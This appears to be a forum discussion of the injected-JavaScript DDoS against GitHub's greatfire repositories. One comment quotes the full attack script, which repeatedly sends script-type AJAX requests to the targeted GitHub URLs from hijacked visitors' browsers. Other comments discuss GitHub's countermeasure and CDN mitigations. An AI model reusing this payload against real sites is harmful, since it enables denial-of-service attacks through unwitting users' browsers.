They are back on github now; they were indeed temporarily changed to return only

    alert("WARNING: malicious javascript detected on this domain");

(or something similar). I saw this myself.

Actually, they never stopped being accessible from the "usual" link : https://github.com/greatfire . The alert was only sent for requests to https://github.com/greatfire/ (notice the leading slash).

From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access.

For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> \x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 }

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() { var a = unixtime() % NUM; get(url_array[a]) }

function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) }

function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);

Loading all of jQuery seems a little bit excessive when the only thing they're using is the $.ajax function. http://youmightnotneedjquery.com/#request

It's excessive if your goal is _solely_ to execute a repeating AJAX request. But, if I'm understanding the attack correctly, this script is injected _in place of_ jQuery requested from Baidu's CDN. If you want the affected sites to appear normal, so the users whose browsers you are highjacking will contribute to the DDOS for the longest possible period, then you want to ensure that jQuery does indeed load.

The OP further clarifies why jQuery is injected _twice_: seems the injection is occurring only for 1% of requests. So it appears the code is looking to see if it has triggered the injection itself, and fires another request if needed.

On which side are you ._.

Engineers don't care what side anybody is on, as long as the tech works.

> Engineers don't care what side anybody is on, as long as the tech works.

Good engineers do care. Don't mistake "being an engineer" with "being apathetic".

Really?

We knew the world would not be the same. A few people laughed, a few people cried, most people were silent. I remembered the line from the Hindu scripture, the Bhagavad-Gita... "Now, I am become Death, the destroyer of worlds."

Any engineer worth his salt absolutely understands the consequences of their actions on the world. Sometimes they understand a bit too late.

He still went along with it.

hey buddy

What's up pvam

> the Sony pictures incident

Most likely unrelated to North Korea and used for propagandistic purposes (including publicity for a below par movie).

That was done to the urls with a trailing slash, which was being used (incorrectly) by the DDoS script.

Wait, how does that work? Looking at the malicious javascript code issuing ajax requests to github, it doen't seem github's response is evaluated. Is this alert even displayed?

If that is the case, why not do something even more radical in the response like changing the targeted urls ? They could replace them by baidu urls for example, effectively transforming a DDoS against github into a DDoS against baidu (not saying baidu is the author of the attack here, but that would certainly have an impact on the traffic being monitored by the GFW).

The dataType is set to "script" in the AJAX request options. Per the jQuery docs (https://api.jquery.com/jquery.ajax/#jQuery-ajax-settings), this dataType causes the response to be evaluated as JavaScript in the browser.

They were still online, only the URL with a trailing slash was replaced. Links to the repository on GitHub itself were still working.

Ah, thank you for the correction.

From what I saw, it returned the alert only when the request had a trailing slash.

There still seems to be some special handling of them. Accessing these two projects through tor fails with an angry-looking unicorn and the message "Something went wrong and we cannot service your request". All other github projects seem accessible.

One solution that comes to mind for this is for CDN's to have an edge node just outside of the great firewall of China. Even with a simple edge side include, the impact on Github's servers should be near zero.

This won't work because it's browsers outside of China that are being hijacked when browsing Baidu Analytics-using sites.

That's a fair point...

Still, this is a read-based DoS. It should be fairly easy to mitigate with a CDN...

Putting a dynamic app like Github behind a CDN with page-caching just does not work. Sure they could freeze those projects and serve what is now essentially static HTML, but in day-to-day operations you're left using CDN products that let you serve static parts separately from dynamic parts, which is probably of dubious benefit during a DoS attack.

Github has got a bit of a read mostly situation. If read requests where funneled so that there was only one per URL per edge node at any given point in time (which edge side includes effectively gives you), it would make for pretty easy to manage load for Github.